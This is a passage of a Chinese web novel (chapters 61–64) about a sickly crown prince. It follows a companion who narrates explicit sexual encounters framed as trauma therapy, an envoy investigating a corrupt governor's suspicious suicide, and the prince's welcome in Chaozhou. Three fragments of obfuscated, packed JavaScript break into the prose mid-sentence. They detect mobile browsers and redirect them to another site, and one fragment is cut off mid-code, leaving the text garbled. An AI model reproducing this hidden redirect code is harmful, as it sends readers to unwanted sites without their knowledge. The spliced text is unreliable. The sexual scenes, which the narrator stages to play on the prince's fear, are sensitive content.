崔鲲心下还没转过,萧玠已道:“鹏英,我有些话同沈郎讲……你和尉迟将军说一声,约莫半个时辰咱们再启程。叫他们走远些。” 接着,他又欲盖弥彰道:“我只是有话同他请教。” 崔鲲冲他安抚笑笑,钻出车帘时听到一声低叹,然后是萧玠有些忐忑、甚至还有些期待的一句:“开始吗?” 61. 第 61 章 到底在车上,本不当太过,但我意识到,这未必不是帮助萧玠恢复的新时机。 他对身体触碰的接受程度停于用手和接吻,这已经是最大限度了,再往后他只怕难以承受。但在此之前,我对他进行“触碰”的场所局限在卧室,这和他当夜示于人前的窘况截然不同。马车算是半密闭空间,在这种地点的尝试说不定能缓解他另一方面的恐惧。 奉行故事,我还是把计划全部告诉他。我感到萧玠一瞬间的瑟缩,但他没有挣脱我的手,他倚在车壁上低声道:“但……人好多。” “殿下已经把卫队遣开了,他们不会上前。”我握了握他的手,“殿下,你面前的人是臣,外面的人是陛下给你的守卫,没有人能窥探你非议你,你绝对安全。” 萧玠低垂着脸,许久,点了点头。 我深深呼吸几下,坐得更靠近一些。萧玠手指有些发抖,去解自己腰间玉带。 我握住他手指,笑道:“不,今天不从这里开始。殿下,臣要先吻你。” 在这种事上,萧玠的沉默就是允许。当我靠近之时,他皱眉闭目,但我尚未贴合他,他已顺从地把嘴张开。 他对接吻适应地很快,从前还需我先带动他,现在已经会主动来迎了。他嘴唇轻轻吮卝动着,发出轻微响动,有些笨拙,但很认真。我感到他舌头抬起,在口腔里卷翘着后缩着,好几次都险险吐到我口中。我想他现在的确有些情动。我把手指从交扣,到插卝进他的指缝。 他往我怀里坐了坐,我一只手慢慢捏他的脊骨,叫他身体放松一些。另一只手到另一处,伺弄琵琶一样拢捻起来。 萧玠喉中发出一道惊喘,嘴仍叫我牢牢吻着。他一挣,马车便砰地一晃,不远处正响起尉迟松同卫兵的交谈:“……一会请示殿下,是连夜赶路,还是去驿站休整。” 一瞬间所有声音被放大数倍,脚步声重重踏着,像有人往这边走来。萧玠在我怀中颤抖着,忍不住要叫唤,我便捂住他的嘴——这也是要他克服的障碍之一——我低声道:“别怕,殿下,你不出声,不会有人知道。” 萧玠潮热的呼吸喷在我掌心,有某个瞬间我感到一缕一闪即逝的湿意。今天太阳好,远处人影被投在帘上,似乎人就站在跟前。萧玠两只手紧紧扒在我捂住他口的那只手上,像溺水之人抱一根浮木。 我察觉他的反应,在他将临近时松开手。萧玠几乎发出一声鸣叫,被我手掌死死捂在口中,头抵在车壁上,神情极度痛苦。 我松开那只手,用另一只手掌替他擦了把脸,说:“殿下,现在,把带子解开。” 萧玠哆嗦着双手,去解腰间的玉躞蹀带。他越着急,手越抖得厉害,那带钩将分又合,发出玉佩摇晃般的清脆之声。 他倚着车壁拉我的手,叫:“沈郎,你帮帮我……” 我盯着他的脸,问:“殿下当夜,也是这么要世子帮你的吗?” 萧玠身体有些后缩——他果然还是受不住——我迅速解开他的玉带,手捏在他裤腰上,道:“殿下,抬身。” 今日风和日丽,帘上阳光波闪。我想此时如果仔细留意,在外能够看出马车无驭而动。 这一会,卫兵把饮好的马牵过来,重新套车。 那卫兵就背身站在马车前,架起车辕,重新扣回马身。外头风声一吹,把车帘哗地一掀,他只消回头一瞧,就能将车内光景一览无遗。 萧玠显然也被刺激得厉害。他越怕反应就越强烈,车身摇晃更加剧烈,连铜盆里的热水都随之发出哗啦哗啦的响声。那卫兵似乎也有所察觉,转头往后看—— 车帘在这时候落下来。 我缓了一会,起身浣手,又拧了帕子给他擦拭。萧玠眼睛仍直着,好半天才能聚焦。袍摆撩到他胸前,被触碰到还能激起一阵涟漪似的颤抖。 等把这一切做完,我问:“殿下,你刚刚还想得到那一夜吗?” 萧玠脸上红晕未褪,神色一怔。 一时间,我瞧着他,他瞧着我,对视一会,他蜷缩起来,用袖子盖住面孔。 *** 尉迟松奉萧恒旨意,代领太子卫率,护送萧玠走马道前行。行程再缓,半个月已抵达瑶州。其时已近黄昏,萧玠便在驿馆下车,叫崔鲲先去州府交接。 萧玠道:“我在京中听闻,瑶州刺史孔阳为人极其油滑,查贪查到他头上,不知有多少手段等着。你别同他强项,先周全自身。” 崔鲲坐在白马马背上,笑道:“臣晓得,陛下不是还赐了左卫做臣的近身么,殿下安心就好。天晚夜寒,殿下早些安置,别受凉。” 她为了入仕,特意吃药倒了嗓子,旁人听来,不过一把较为柔和的少年口音。崔鲲目送萧玠进门,这才拨转马头,同左卫卫队揖手,“辛苦各位将军,同我快马加鞭,赶往瑶州州府。避行闹市,勿扰百姓。” 马鞭抽响时白马一声高鸣,左卫卫队马蹄如飞,赶在太阳落山前抵达州府。 街旁阒寂,鸦雀无声。公廨大门紧闭,死气沉沉。 这并不像孔阳笑脸相迎的一贯做派。 左卫将军金明非按马在旁,皱眉喝道:“天使驾临,瑶州刺史孔阳,速率部众开门迎接!” 门内并无应对。 金明非请示:“相公一声令下,咱们当即破门。” 崔鲲正要张口,大门终于吱呀打开,开门的中年人身穿儒衫,外披麻衣,忙跪倒在地叩首,“不知黜陟大使驾到,有失远迎,请相公降罪!” 崔鲲叫他起身,看他一身形容,道:“我想,阁下并不是刺史孔阳。” “下官瑶州长史路有方。”他两腮微微颤抖,压着哭腔,俯身叫道,“我们使君……今早服毒西去了!留下书信一封,我等不敢隐瞒,请天使入内查看!” *** 孔阳的尸体是在州府发现的。 他当晚没有回家,只说整理文书,方便天使查阅。路有方捎了蒸包油炸鬼,请他去用早饭,几番叩门无人应答,结果一推屋门—— “进去一瞧,使君脸色紫青,手脚都冷了。案上留下一封书信,还有这些规整好的文书……咱们不敢擅动,只能先办丧事。” 崔鲲拆开那封书信,一读开头便眉头一皱,往下越看越快,书信读完,便去翻那些文书案卷。 屋中纸页翻动声迅速、清晰,左卫戴甲侍立在侧,满屋公员不敢出一口大气。 终于,崔鲲将文书重重一合,对金明非道:“有劳将军,率麾下卫队按其所书,对赃款进行查封。” “赃款?” “是,孔阳留下遗书一封,自认其罪,全部藏贿地点也交待清楚。希望朝廷看在他以死谢罪的份上,不要祸其妻子。” 金明非惊道:“主动招供,就这么死了?” 崔鲲握紧那封遗书,缓声道:“左右旅帅,各率麾下部队,按其交待查抄贿财,核对数目品类,封库待我查验。瑶州州府各位公员俱在,也各去一间厢房,该办公的办公,等我依次谈话。路长史,怎么不见孔阳的家眷?” 她刚刚语气冷肃,突然又和风细雨,路有方擦了把汗,道:“夫人身怀六甲,难遭噩耗,我等不敢轻易通传。” 崔鲲问:“孔阳的夫人在当地?” “是,使君的官邸就在凤梧坊,离得不远。” “几个月了?” “将近临盆。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566404|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“派人好生照料,只说孔阳要接待我,暂时回不家去。”崔鲲道,“孔阳年过四十,如今得子,本该是喜事。” 路有方叹道:“谁说不是。使君子嗣艰难,多年求子未成,眼见着要有香火了……唉!” 崔鲲看向他,“孔阳待你不薄。” 路有方一愣。 “这些文书你该看过了,也知道他犯了什么事。陛下圣意之前,你倒不急着和他撇清关系、跳脚痛骂,想必他平日对你照拂颇多。” 路有方哑声道:“使君铸成大错,下官不能争辩。但下官是他一手提拔,当年下官的老母病重,也是使君施银相救。别人唾他骂他,独下官不能。” “知恩识义,为人未亏。”崔鲲话锋一转,“但本使好奇,孔阳对你百般提拔,想必也视你如腹心,他数年贪贿如此之巨,岂有叫你置身事外的道理?” 路有方怔愣间,崔鲲已叫人带他下去。金明非走上前,低声问:“相公是觉得,孔阳之死仍有内情?” 崔鲲道:“将军看来,孔阳因何而死?” 金明非道:“自然是听闻天使将至,自知难逃一死,心中惊惧。不愿再受刑讯,故而舍一条性命,请求保全家门。” 崔鲲笑道:“将军,咱们要来的消息,是最近才下达的吗?” “冬至一过,我接替杨公巡狩的旨意便下达各州,孔阳早在一个月前就该知晓,他完全可以用这一段时间来安排计划。他贪贿之风虽巨,我手中尚无人证物证,以他的个性,本当垂死挣扎甚至放手一搏,如今为什么都不肯狡辩,直接认罪自裁,还把这些款项拱手捧出?他若打定认罪,这一个月时间早该把妻子另送他处以防牵连。他求子多年,如今子嗣在望,他竟没有鼓起丝毫求生之意,反而一心求死——这非常不合理,太不合理了。” 金明非思索间,崔鲲已经拿起一本文书册子交给他,“将军请看,孔阳事无巨细,将贪贿之事交待得清清楚楚,唯独少了一样东西。” 金明非看了半天,试探道:“同伙?” “对,同伙。”崔鲲声音发冷,“将军请看,这些贿款存地便有七处,在文书中有所交待的就有三百万两之多。三百万两,顶得上大梁半年的赋税了!孔阳再贪也不过一个瑶州刺史,他就是肚皮撑破也吞不下这么多财!如此巨款,真的是他一人之力能搜刮出来的吗?而且……” 而且孔阳死了。 这个关头,稀里糊涂,服毒而死。 金明非也蹙眉,“有道是强龙不压地头蛇,咱们虽奉圣旨,可瑶州是孔阳的地盘,他如何也不该畏罪自杀。至少,不是现在。” 崔鲲目光锐利,“除非真正的地头蛇,另有其人。” 但孔阳身为一州刺史,四品大员,能压住他的还有谁? 崔鲲深吸口气,“劳烦将军派人提调州府公员,我要知道孔阳的平日交际,以及他临死前见过什么人。事出突然,恐有危机,也请将军禀报殿下不要滞留,明日天亮继续出发。鹤驾安危,是社稷之重。” 金明非领命而去,崔鲲当即点灯设茶,一一问讯州府官吏,插录事整理记录的功夫出去吃那碗送上来半个时辰的豆腐脑。她舀了一口,居然是甜的。 崔鲲也不讲究了,直接端碗来喝,喝到一半,听到勒止马蹄后靴子疾走而来的声音。 金明非漏夜归来,冲她抱拳,“相公,殿下已经启程了。” 崔鲲霍地立起,“现在?” 傍晚才在驿馆下榻,现在就夤夜赶路? “相公别急。”金明非笑道,“是潮州的程忠将军听闻鹤驾到了,特地赶去迎接。潮州营是陛下的本家,如今殿下驾到,上上下下都高兴坏了。” 62. 第 62 章 据说萧玠驾临潮州的那天,城头飞来一只仙鹤。深夜飞来,清晨未去,不吃不动不举翼,似乎在等待上帝的纶音。直到三天之后,艳阳当头,它终于发出一条闪电般的鸣叫。人们追逐它的踪迹直至城郊,在那里迎来了太子的车驾。 所有人都说,这是潮州的福音。 *** 送别崔鲲后,萧玠正要在驿馆住下,突然听到屋外一阵马队跑动声。 步伐严整,不是寻常骑队。 是骑兵。 尉迟松呼吸一沉,当即提刀出门,不一会,门外竟响起畅快的大笑声。 萧玠推门而出,见门前立一条八尺高的汉子,年龄在四十往上。通红脸庞,络腮胡须,身披山文甲,显然是地方高级将领。一见他出来,一双豹眼瞬间明亮,声音有些激动:“这就是太子殿下?” 尉迟松笑道:“正是殿下。” 那汉子当即把袍一撩冲萧玠跪倒,他一跪,身后带来的数百骑兵也翻身下马拜倒在地。那汉子头磕得极响,把萧玠都吓了一跳,他却不管不顾,高声叫道:“潮州营万骑将军程忠,率先头部众叩见殿下!得知鹤驾驾临,末将怕外面招待不周,特地带人前来迎接。” 萧玠忙把人搀扶起来,“将军快起。陛下常同我提起将军,将军于我便如自家叔伯,哪有这些规矩。” 程忠扶着他双手起身,把他上上下下打量一遍,握住他的手,情绪依旧激动:“像,太像了,这鼻子眉毛简直是跟陛下从一个模子里刻出来的。” 萧玠笑道:“倒少有人说我像陛下。” 程忠仍端详他的脸,“殿下眼睛嘴巴更像秦公,但那股劲,一眼就能认出是咱们陛下的儿子。” 他这样直白地讲到秦灼,萧玠浑身剧烈一颤。程忠拢住他的手,安抚道:“殿下别怕,自己家里,没有外人。” 萧玠声音有些颤抖:“你们……知道?” 程忠看着他的眼睛,自己眼圈也发红,“我的好殿下呀,咱们再不知道,这盖天底下还有哪个知道?” 萧玠紧紧握着他的手,再说不出一句话。程忠四下一瞧,道:“殿下住这边怎么也不是个事,末将听闻刺史孔阳颇有些鬼肚肠,放殿下在瑶州,别说陛下,就是末将也不放心。殿下若不嫌奔波,末将接殿下回潮州住去。” 萧玠虽然犹豫,却已然心动,等程忠讲到“陛下的潜邸也在这边”,他便定了转去潮州的主意。潮州与瑶州毗邻,距长安却山遥路远,下次再来,不知要等到哪年哪月。 程忠行事利落,亲自扶萧玠上车。萧玠打开车帘,见他认镫上马,问道:“将军的腿伤可好些了?陛下时常念叨,挂念得很。” 玉升年间萧恒中计,被锦水鸳一楼的火药炸掉半条性命,跟随前往的潮州营死伤惨重,程忠在内,也因此断了一条腿。萧恒每每回忆,都悔恨颇深。 程忠先套上那条完好的左腿,控紧马笼头翻上马背,笑道:“早习惯了,要是这条腿齐全,咱还觉得像多长了个部件呢!” 瑶州潮州相隔不远,但短短两日便入潮州境萧玠如何也没想到。他打开车帘,探头问程忠,“路怎么赶得这样快呀?” 程忠正同尉迟松说话,闻言扭头笑道:“回殿下,咱们走的是粮道。” “粮道?” “是,陛下当年亲开的粮道,南北东西全部打通。这边山多林子多,要按之前且得再走小半个月。” “可……是否不合章程?” 程忠爽朗笑道:“新一批官粮刚运到,这条路且空旷一阵呢,不妨事的。” 地方军政之事唯皇帝鞠问,萧玠便转了话头,“潮州刺史是哪位,我不太清楚。” 程忠笑答:“正是舍弟,大名程义。当年跟陛下打天下的时候还没办科举,末将也不知道死在何处,便给他从乡里捐了个官。陛下惦记旧情,他也争气,颇为提拔他。这小子知道殿下要来,高兴得不知怎么好,一心想瞻仰玉颜,给殿下接风洗尘呢。” 萧玠也笑道:“将军兄弟一双忠义,更是陛下的两条臂膀。我只是暂留几日,二位不要铺张。” 队伍出了粮道便直抵潮州境,萧玠在潮州界碑后,远远望见一座庙宇。正在门楼之后,将士般戍守潮州。时近晌午,来往香客依旧络绎不绝。 萧玠打帘观望,“这是哪位尊神的供奉?” 程忠笑道:“殿下猜猜看。” 萧玠想了想,“吴公祠吗?但听陛下说,吴公祠和薰娘庙相对着,近年虽合祠,也当有旧址……我听闻细柳营也在这边驻扎,是怀化崔将军的庙?” 程忠哈哈笑道:“的确是将军庙,却不是崔将军,是咱们萧将军。” 萧玠一怔:“萧将军……阿爹?” “千真万确!”程忠回头望去,“当年陛下从西琼手里保下潮州,大伙就筹钱给陛下立了庙,这可是咱们潮州境第一座生祠庙。一开始只搭了间草屋,过几年富起来,才重新修葺的庙宇。咱们也商议过,要不要改成皇帝庙,但历朝历代皇帝千千万万,萧将军,就这么一个。” 萧玠身体探出车窗,掉首而望。不远处,将军庙矗立州界,像父亲的背影一样。 *** 程义和程忠生得并不很像,一个文臣一个武将,一个白面一个红脸,一个稀疏几道长须,一个浓密环腮的胡子,但站在一块打眼一看,就断得出是一奶同胞。 程义一早率人在城门前恭候,一见太子卫队伍,忙当街跪倒,高声叫道:“下官程义,叩请殿下金安,殿下千岁!” 萧玠这一段恢复得不错,日常交际应酬全能做来。他由沈娑婆搀扶下车,低手扶起程义,道:“使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566405|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君快起,使君兄弟替陛下镇守潮州,实在劳苦功高。” 程义笑道:“殿下真是折煞下官,若无陛下抬爱,岂有臣弟兄二人的今日?殿下奔波劳累,臣已在春芳园中设宴,还请殿下移驾。” 萧玠亦笑道:“常闻春芳园是潮州胜景,心向往之。如此,我便却之不恭了。” 太子驾临的消息早已传遍潮州,萧玠马车尚未驶入街坊,就被铺天盖地的热情没了顶。大伙都不做活了,扛着锄头推着车子站在街边,一见萧玠车驾,人群立刻沸腾起来。奇怪的是,少有叫“陛下万岁”“殿下千岁”,竟是一声“六哥”赛过一声“将军”,如此争相欢呼起来。 萧玠探身出车窗,同大伙招手,喝彩声更高一叠,七嘴八舌地喊他“郎君”。 程忠怕他生气,忙在旁解释:“殿下莫怪,是陛下前些年南巡时让这么叫的。” 街上太过喧哗,萧玠只能大声冲他喊:“我不生气,大伙这么叫我,我高兴!” 他喊得声音太大,过一会便要咳。沈娑婆掐着差不多拉他进马车,找丸药给他吃。这活向来是阿子做惯,如今他竟也轻车熟路了。 萧玠有些陶陶,脸庞也有些红热,叫他喂了盏水,脸上笑意依旧未褪。沈娑婆便奇道:“就这么高兴?” “沈郎,你不晓得,从小到大,所有人都害怕我。他们怕我父亲的权势,更怕我这个病恹恹的玻璃人碰一碰就坏,坏了就要他们的脑袋。能避我多远,大家就避我多远。我好像什么洪水猛兽,谁沾上就要倒霉。”萧玠眼睛还亮着,情绪饱满,“但你看,他们都不害怕我,他们喜欢我的。虽然我知道这是因为阿爹,但……能有这么多人欢迎我,因为阿爹又怕什么呢?” 他放下车帘,道:“其实我一直觉得,很难有人喜欢阿爹。他话少,脸又冷,也不是玩笑打趣的性格,我觉得大家尊敬他都是因为害怕他。但今天我看得明明白白,有这么多人尊敬他,是真真正正地爱戴他!如果我可以,我有点想做阿爹这样的人……我也想这么多人喜欢我。” 他说到这里,见沈娑婆一动不动盯着他,有些不好意思:“做什么这样瞧我呀,我讲的是实话。” 沈娑婆温和笑道:“如果殿下愿意,一定能成为陛下这样的人。” 萧玠笑着摇摇头,说:“但我寿限在这里。阿爹每日拿血养着我,我的身体尚一日不如一日。说实话,断了长青散,我感觉得到我行动越来越不如前了。既然我做不了自己,那就好好做他的儿子。但比起做皇帝的儿子,我更想做六哥的儿子。” 沈娑婆缓慢捏着他的指节,轻轻道:“殿下,也有很多人只因为你是你,所以喜欢你的。” 萧玠倚着车壁,斜着眼笑看他,“你又哄我。” 沈娑婆看着指间萧玠那只手,缓慢道:“臣,就很喜欢殿下。” 63. 第 63 章 这句话后,沈娑婆没再开口。 在车外洋溢的热情当中,这狭小的沉默像一口深井。那句话咕咚掉进井里,只有井才能听到那样震荡巨大的回音。 萧玠终于叫他:“沈郎……” 沈娑婆见他神色,讶然道:“臣喜欢殿下,殿下就这么意外?不说旁的,只说殿下这一手琵琶技艺,只怕天底下没几个琵琶手能不心折吧。” 萧玠也笑了,像松了口气,又像有点惘然,倚在车壁上睡了一会。那只手仍由沈娑婆牵着,没有抽回去。 *** 春芳园是肃帝朝的旧园子,奉皇年差点翻新作萧恒在潮行宫,还没动工,就被萧恒申斥,勒令停止。如今形貌虽说古朴,倒另有一番雅趣。 按规制,本当为萧玠独设高案,一应官吏在下方另设席位。萧玠却道:“既然是自家叔伯,还是一席吃饭吧。难道阿爹来的时候,你们也这样分席设宴吗?” 他话讲到这里,程忠兄弟便与他侍坐。程忠将一只荷叶碟奉到萧玠面前,道:“这是咱们当地的特产,是取赤衣江里的白鱼做的鱼糕,配莼菜汤吃别有风味,当年秦公最为喜欢,殿下尝尝。” 这样光明正大地讲到秦灼,萧玠仍有些不适应。他没有多言,挟了块糕细细地嚼。 程忠问:“如何?” 萧玠把糕咽下,点了点头。 程忠眉开眼笑,“末将就说,到底是亲生父子,秦公喜欢的,殿下想必也觉得好。” 萧玠心下捺了又捺,到底忍不住,问:“当年阿爹和……” 他嘴巴张合好几次,方道:“他们两个,是一块住在这儿?他们……要好吗?” 程忠笑道:“他们再不要好,全天底下再找不出更要好的夫妻来了。那时候潮州不比现在,陛下的衣食住行都是秦公一手操办,分开打仗也是一封信连一封地送来。夏天那么热,别说肉脯果干这些零嘴要拿,还怕回南天,连氅衣都要陛下带着。从前陛下出行,一个人背一个包袱完事,自打成了家,箱子就得拉两口,若不带着,回家得从屋里撵出来。咱们常说娶个婆娘也没这么周全的,但平日里,还是陛下更像个内当家的。” 他略捡几件小事讲起来,萧玠听得入迷。他从那些青春的爱情故事里来,却离它们那么遥远,远到他时常质疑这爱情的真实性,和自己的真实性。现在他终于找到一个证人了,证明如今的痛苦之前是有美好的,证明他的生命并不全是一枚苦果。如果治愈不了痛苦,萧玠只能证明它值得。 饭吃到一半,萧玠有些好奇,“潮州营驻地离这边近吗?” 程忠笑道:“虽在郊外,却离得不远。殿下若来犒军,实是我等大幸。” 萧玠道:“细柳营也在一块?” “是,细柳营的老地盘在阳关,但许仲纪来潮州镇守,便向陛下请旨,一应驻扎在这儿。” “阿爹在奉皇初年就改革了军制,私人军队不是一律改组么?” “殿下有所不知,细柳营世世代代崔家军,但崔家到了这一代已经断了根。他们心中纪念,便向陛下特请旨意留了牌子。陛下向来敬佩怀化将军,特地开了恩旨,没有改组。但实际讲只是两块牌子罢了,就像许仲纪管着细柳营,不一样是咱们潮州营的主帅吗。” 萧玠想起一事,“对了,去年我去书请许将军进京,将军却半路病倒,不知如今将养过来没有?” 程忠叹道:“上次咱们还说起来呢。夏秋时候害痢疾要命也是有的,但他福大命大,到底撑过去。” 程义也问:“只听闻殿下来书,却不知请许将军进京,所为何事?” 萧玠搁下筷子,“王云楠谋逆案,可能使君和将军也有所耳闻。” 程忠急声问:“是有那老小子的行踪了?” 萧玠缓缓摇头,“我们后来查到,有人在民间拐贩妇女,专为贿赂王云楠这些高官。这条路子查到头,查出了小秦淮。” 程忠犹疑:“是……大公?” “不可能是他。”萧玠声音有些紧,“他人都不在大梁,十年没有打过交道,他贿赂这些官员有什么用?他如果真有此心……凭他和阿爹——和我的关系,用得着贿赂这些宵小吗?” 程义看程忠一眼,给萧玠倒了盏热茶,安抚道:“家兄不会说话,但绝非质疑的意思,殿下勿怪。那这桩案子现今可有进展?” 萧玠摇了摇头。 他举起茶盏,轻轻啜饮,突然道:“说起这案子,我还想起一件事。被拐贩的女孩里也有几个家在潮州,应当由卫队护送回家了,我想去瞧瞧她们。” 程忠和程义对视片刻,没有一个人说话。 萧玠问:“怎么了?” 程义脸色沉痛,道:“回禀殿下,潮州被拐妇女,一共救回来三个,叫月娥和叫蕙心的那两个被作践得忒不成模样……人已经没了。” 萧玠声音都打颤,“没了?” 他看向程忠,程忠咬牙点了点头。 萧玠问:“还有一个呢?” “剩下的那女孩叫黛娘,本不是潮州人。她家在淳州,但淳州去年发了大水,她家里人也没能联系上,月娥的家人便领了她回来。但……”程忠叹息,“末将派人送回她的时候……她已经疯了。” 一共回来三个,两死一疯。 黛娘……但黛娘为什么会疯?她被解救时还没有被发卖,至少还没有经历那惨无人道的折磨。送走她们时黛娘依旧恢复了笑脸,她穿了条水绿裙子,轻轻抱住萧玠。 那些女孩,比他大的叫他阿弟,比他小的叫他阿哥。黛娘依在他耳边说,阿哥,你要好好吃药呀,六哥同我们讲起你生病,笑容都是苦的。六哥说你爱放风筝,等你病好了,我们一块去放风筝。 她被救了出来,对生活还抱着那么大的期待,为什么会疯? “殿下?”程忠的声音把他叫回神,“怎么了?” “将军,我想去瞧瞧她。”萧玠不容置疑地说,“现在,立刻。” *** 月娥的父母是潮州普普通通的农户,靠玉升年萧恒分给的土地过活。家里有一头老牛,一驾犁车,有三个孩子,两男一女,年纪最小的就是月娥。月娥爹卖了牛,给女儿在垄上置办了坟地,月娥娘哭坏了眼,每天就坐在屋门口,做些缝补,瞧瞧黛娘,再缝补。 黛娘真的疯了。 萧玠找到她时,月娥爹领他到那座小小的坟包前去。残阳底,黛娘仍穿着那条水绿裙子,光脚在垄上奔跑。 萧玠问:“她什么时候变成这样?” 月娥爹脸冲斜阳,“月儿下葬后……就这样了。喂饭就吃,睡觉也不闹,就是平日里唱啊跳啊,也是个可怜孩子。” 萧玠望着她,登到垄上。程忠不放心,亲自带了一队卫队跟随。因潮州营过午练兵未归,程忠便领了细柳营。老将崔百斗特地率队,陪同众人一块前去。 萧玠越走越近,黛娘的影子随风舞动,在坟前,像月娥活的幽灵。萧玠听到她唱: “郎呀郎,进北山。斗恶狼,救妾还。 “打狼归,穿狼皮。做狼装,着狼衣。 “要问儿郎在何方,月亮底,尾长长。 “要寻郎,天边望——” 她似乎被脚步惊动,转过头,指着萧玠的方向,痴痴笑着唱道:“到底是——眼前郎!” 唱到这里,她哈哈大笑,拍着手继续往垄上跑。她没有穿鞋,脚底和小腿已被乱石和荆棘刮得鲜血淋漓。 萧玠提袍要追,程忠忙把住他臂弯,“殿下,这女娘失了神智,太危险了。” 萧玠拨开他的手,快步往前追赶。程忠无法,只得瘸着腿率人跟上。黛娘生翼般飞来绕去,最后又跑回月娥坟前,哄婴儿入睡般轻轻拍打坟丘,低声唱着——郎呀郎,郎呀郎。 萧玠放缓脚步,从她面前蹲下。 这一刻他突然感到,那一夜迷乱带给他的伤痛和眼前这两个女孩子相比根本无足轻重。他还活着,无论如何好转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程义何时退下的萧玠并不知道,他正抚摸梅树的树皮。很奇怪,他似乎能感受到这树木血液的流动,这像是他残留的一条神经。 萧玠走进屋去,像回到这里一样。屋内一切他陌生又熟悉。梨木桌椅,是秦灼喜欢的款式,看做工不像买的,像萧恒早年的手艺。竹帘泛黄,由银钩卷起,里面是一张架子床,床前是两束褪色的红帐,红帐上悬挂一双香囊。 萧玠突然明白,这熟悉源自何端。 这是和甘露殿如出一辙的装饰。 萧恒把潮州的婚房原封不动地搬进了长安。 萧玠在床边坐下,抚摸床上被褥。这些一应换了新的,但床是旧的。像他父亲们旧的身体里结出一个新的他来。 这一会,沈娑婆已经走进来,催促他吃夜间的药,又道:“临行前陛下嘱咐,晚间给殿下篦篦头,这药劲大,吃了头脑多少不舒服。” 房间窗户阔大,月亮光泼了一地,关窗也不顶用。沈娑婆知他怕月亮,便道:“臣把帐子放下来,好不好?” 萧玠点点头。 一天一地的软红盖下来。 一头一脑的青丝落下来。 沈娑婆捋好他的头发,拿桃木梳子给他篦头。梳齿摩过头皮,播下牛毛雨般一阵酥麻。夜间静极,帐中,只有梳子鬓发相互摩擦的声音和忽轻忽重的气息声。 萧玠睁大眼睛,透过帐子,像看见童年窥见的图景。也是这样的茜色罗帐后,阿爹枕着右臂倚在枕衾间,同披散头发的阿耶说话。他抬手抚摸阿耶的鬓角——梳子擦过萧玠鬓角,往下滑过阿耶的侧脸——沈娑婆手背擦过萧玠侧脸,阿爹抚摸阿耶颈项,喉间发出一股叹息,低声问怎么,痒? 沈娑婆拨开他头发时,手掌合他脖颈。 萧玠触电一样,猛地掉头看他。 沈娑婆不料他如此反应,叹了一声:“怎么了,痒吗?” 萧玠一颗心砰砰作响。 他突然有些舌头打结:“沈郎,我……” 沈娑婆放下梳子,认真注视他。 我什么? 好久,萧玠才说:“我得在见他之前完全好起来。” “我想……再试试。” 64. 第 64 章 萧玠的脸色被帐子映得发红,像醉意也像害羞。我这次没有问他确不确定,抬手抚摸他的脸颊。 萧玠今夜很敏感,我一触到他,就感觉他浑身轻颤一下。 我就着这个姿势,捧住他的脸,吻了上去。 我感到萧玠鼻中深深吸一股气,他几乎比我更快地张开嘴,要包拢我的嘴巴一样,上下用力地吮吸。这么多次,他就只学会了这个。 我另一只手慢慢抚摸他的后背,试探着,把舌头探进去。 萧玠像被我烫到一样,从头到脚一个哆嗦。我在他口中从上到下刮过一圈,他被迫张开的嘴唇已经颤.抖起来。在我以为他要推开我的时候,他搂住我的脖子,把舌尖吐进我嘴里。 他像一条新破壳的、未识世界的小蛇一样,轻轻点了点我,就要缩。我当即缠住含上。萧玠溢出一声近乎哀求的气息,就这么吐到我口中,像朵热腾腾的小花一样。等他适应一会,我开始搅动,迫他舌头贴在上腭。萧玠被这前所未有的体验搅到近乎迷乱,不知什么时候,他已经坐到我上方。 这时,我感到更迫切的东西。 呼之欲出的,急不可耐的。 不只一人的。 萧玠完全沉溺进去,无知无觉。我捏住他后颈,和他撤开一段距离。 萧玠有些惘然,低头瞧着我。 我问:“殿下,你这次在想谁?” 萧玠眼神逐渐清明起来,愣愣道:“我……” 他支吾半天,只道:“为什么要这么问?” 我把他的手覆在那处,做下论断:“你动了情。你喜欢他。” 萧玠像挨了一个耳光。 他从我身上爬下来,动作间帐子被刮开,那沉醉的酡红退散,剑一样锋锐的月亮光砍进来,把萧玠开膛破肚,劈作两半。 他缩在床里,一把一把地擦着脸,半天,低声说:“如果我不是喜欢,只是好卝淫呢?” 他极力辩解:“我不喜欢郑绥,但我会在那种梦里梦到他。我不喜欢虞闻道,但那晚上……我是想被满足的。我也不喜欢你……但……” 我打断他:“殿下,你刚刚,谁都没想,是吗?” 萧玠脸色惨白,连连摇头,“我……我……但我和你……跟我和三哥的感觉没有太大差别,你说了,这样是我不喜欢他的。” “殿下,亲一个不喜欢的人,不会像这个样子。”我看着他的眼睛,“有没有可能,你喜欢过郑绥,也喜欢过虞闻道,现在……” “不!”萧玠像受了极大的刺激,厉声叫道,“我没有,我没有!绥郎才离开几个月,我怎么会立刻喜欢另一个人?我和三哥才断了半年时间,我……我怎么会这么快……陛下二十年心里都只有一个人,我是他的儿子,我和他一样,我必须和他一样!” 他头抵着被褥,整个人蜷缩成一团,喉中挤出哽咽之声:“我可以纵卝欲,也可以好卝淫,但我不可以……对感情这么不忠贞。人这一辈子,只能喜欢一个人。” 